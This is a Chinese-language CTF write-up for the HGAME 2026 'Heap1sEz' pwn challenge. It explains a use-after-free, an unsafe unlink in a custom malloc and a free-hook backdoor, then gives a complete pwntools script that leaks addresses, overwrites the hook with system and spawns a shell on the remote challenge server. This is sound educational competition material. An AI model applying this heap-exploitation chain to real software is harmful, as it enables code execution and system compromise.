HGAME-2026-WEEK1-PWN

38次阅读
没有评论

WEEK1-PWN

Heap1sEz

  • 环境:程序使用了一套自定义的 malloc.c​ 和 malloc.h​,并将这些源码静态编译进了 vuln​ 二进制文件中。这意味着堆管理的元数据(如 main_arena​)位于程序自身的 .bss 段,而非 libc 中。

  • 保护机制:开启了 PIE(地址随机化)、NX(栈不可执行)和 Canary。

  • 功能菜单

    • 1. Add:申请堆块。
    • 2. Delete:释放堆块(存在漏洞)。
    • 3. Edit:编辑堆块内容。
    • 4. Show:打印堆块内容。
    • 6. Gift​(隐藏):允许直接修改全局变量 hook 的值 [2]。

A. Use-After-Free (UAF)

main.c​ 的 delete​ 函数中,调用 free(notes[index])​ 后,并没有将 notes[index] 指针置为 NULL [2]。

  • 后果:攻击者可以继续通过 edit​ 修改已释放堆块的 fd/bk​ 指针,或通过 show 读取已释放堆块中的残留数据。

B. Unsafe Unlink (不安全的解链)

在自定义的 malloc.c​ 中,unlink_chunk​ 函数移除了标准 Glibc 中的安全检查(fd->bk != p || bk->fd != p 被注释掉了)[3]。

  • 代码逻辑

    fd->bk = bk;
    bk->fd = fd;
    
  • 后果:这是典型的任意地址写漏洞(Arbitrary Address Write)。如果我们控制了 fd​ 和 bk​,我们就可以执行 *(fd + 0x18) = bk

C. Free Hook 劫持

malloc.c​ 的 free​ 函数中存在一个后门逻辑:如果全局变量 hook​ 不为空,则优先执行 (*hook)(mem)​ [3]。结合 main.c​ 中的隐藏功能 gift() [2],我们可以轻易劫持执行流。

整个攻击过程分为四个阶段:

阶段一:泄漏程序基址 (Leak PIE Base)

由于是自定义 Heap,堆管理结构 main_arena 在程序 BSS 段中。

  1. 操作:申请 Chunk A 和 Chunk B,然后释放 Chunk A。
  2. 原理:释放后的 Chunk A 进入 Unsorted Bin(或类似的链表),其 fd​ 指针会指向链表头部(即 &main_arena.bins[0] - 偏移)。
  3. 利用:利用 UAF 调用 show(Chunk A)​,读取残留的 fd 指针。
  4. 计算ELF Base = 泄漏地址 - 偏移

阶段二:任意地址写 (Unsafe Unlink)

我们需要泄漏 Libc 地址才能找到 system​。我们的目标是将全局数组 notes[0]​ 的内容覆盖为 puts@got 的地址。

  1. 构造 Payload:利用 UAF 编辑已释放的 Chunk A。

    • 伪造 fd = &notes[0] - 0x18
    • 伪造 bk = puts@got​ (注意:这里不能用 free@got,因为 free 是静态编译的,没有 GOT 表项)。
  2. 触发 Unlink:申请一个新的 Chunk。

  3. 原理malloc​ 会尝试将 Chunk A 从链表中移除,执行 unlink_chunk

    • 执行 fd->bk = bk​,即 *(&notes[0] - 0x18 + 0x18) = puts@got
    • 结果:notes[0]​ 现在指向了 puts 的 GOT 表地址。

阶段三:泄漏 Libc 地址

  1. 操作:调用 show(0)
  2. 原理:程序原本想输出 notes[0]​ 指向的堆内容,现在 notes[0]​ 变成了 puts@got​,所以它打印出了 puts 函数在内存中的真实地址。
  3. 计算System Address = Puts Address - libc.sym['puts'] + libc.sym['system']

阶段四:Get Shell

  1. 劫持 Hook:调用隐藏菜单 gift​,将计算出的 system​ 地址写入全局变量 hook

  2. 触发执行

    • 申请新块,写入字符串 /bin/sh
    • 释放该块。
  3. 原理free("/bin/sh")​ 被重定向为 system("/bin/sh"),成功获取 Shell。

from pwn import *
import time

# ================= 配置部分 =================
binary_name = './vuln'
libc_name = './libc.so.6'

context.arch = 'amd64'
context.log_level = 'debug'

elf = ELF(binary_name)
libc = ELF(libc_name)

# 连接远程
p = remote('cloud-middle.hgame.vidar.club', 32712)

# ================= 辅助函数 =================
# 【修复点1】所有的 sendlineafter 中都补上了空格 " "
# C代码中是 printf("Index: "); 所以我们要接收 "Index: "
def add(index, size):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Size: ', str(size).encode())

def delete(index):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'Index: ', str(index).encode())

def edit(index, content):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Content: ', content)

def show(index):
    p.sendlineafter(b'>', b'4')
    p.sendlineafter(b'Index: ', str(index).encode())

def gift(address):
    p.sendlineafter(b'>', b'6')
    p.sendlineafter(b'give me a hook\n', hex(address).encode())

# ================= 攻击流程 =================
log.info("Starting Exploit...")

# --- 1. 泄露程序基址 (PIE) ---
add(0, 128)
add(1, 32)
delete(0) 

# 发送 show 命令
show(0)

# 读取 6 字节地址
# 因为修复了 prompt 匹配,现在这里读到的应该是真正的地址了
leak_data = p.recv(6)
leak_addr = u64(leak_data.ljust(8, b'\x00'))
log.success(f"Leaked Heap FD: {hex(leak_addr)}")

# 简单检查地址是否合法
if leak_addr < 0x1000:
    log.error("Leak failed! Still getting garbage data. Network might be unstable.")

# 计算基址
main_arena_addr = leak_addr + 8
elf.address = main_arena_addr - elf.symbols['main_arena']
log.success(f"ELF Base: {hex(elf.address)}")

# --- 2. Unlink 攻击 ---
# 【修复点2】目标改为 puts@got,因为 free 没有 GOT 条目
notes_addr = elf.symbols['notes']
target_got = elf.got['puts']  

log.info(f"Targeting puts@got: {hex(target_got)}")

# 构造 payload: notes[0] = target_got
fake_fd = notes_addr - 0x18
fake_bk = target_got
payload = p64(fake_fd) + p64(fake_bk)

edit(0, payload)
add(2, 128) # 触发 Unlink

# --- 3. 泄露 Libc ---
show(0)

# 读取 puts 的真实地址
leak_libc_data = p.recv(6)
puts_addr = u64(leak_libc_data.ljust(8, b'\x00'))
log.success(f"Puts Address: {hex(puts_addr)}")

# 计算 System 地址
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
log.success(f"System Address: {hex(system_addr)}")

# --- 4. Get Shell ---
gift(system_addr)

add(3, 32)
edit(3, b'/bin/sh\x00')
delete(3) # 触发 system('/bin/sh')

# --- 5. 获取 Flag ---
p.sendline(b'cat /flag')
p.interactive()

HGAME-2026-WEEK1-PWN

正文完
 0
评论(没有评论)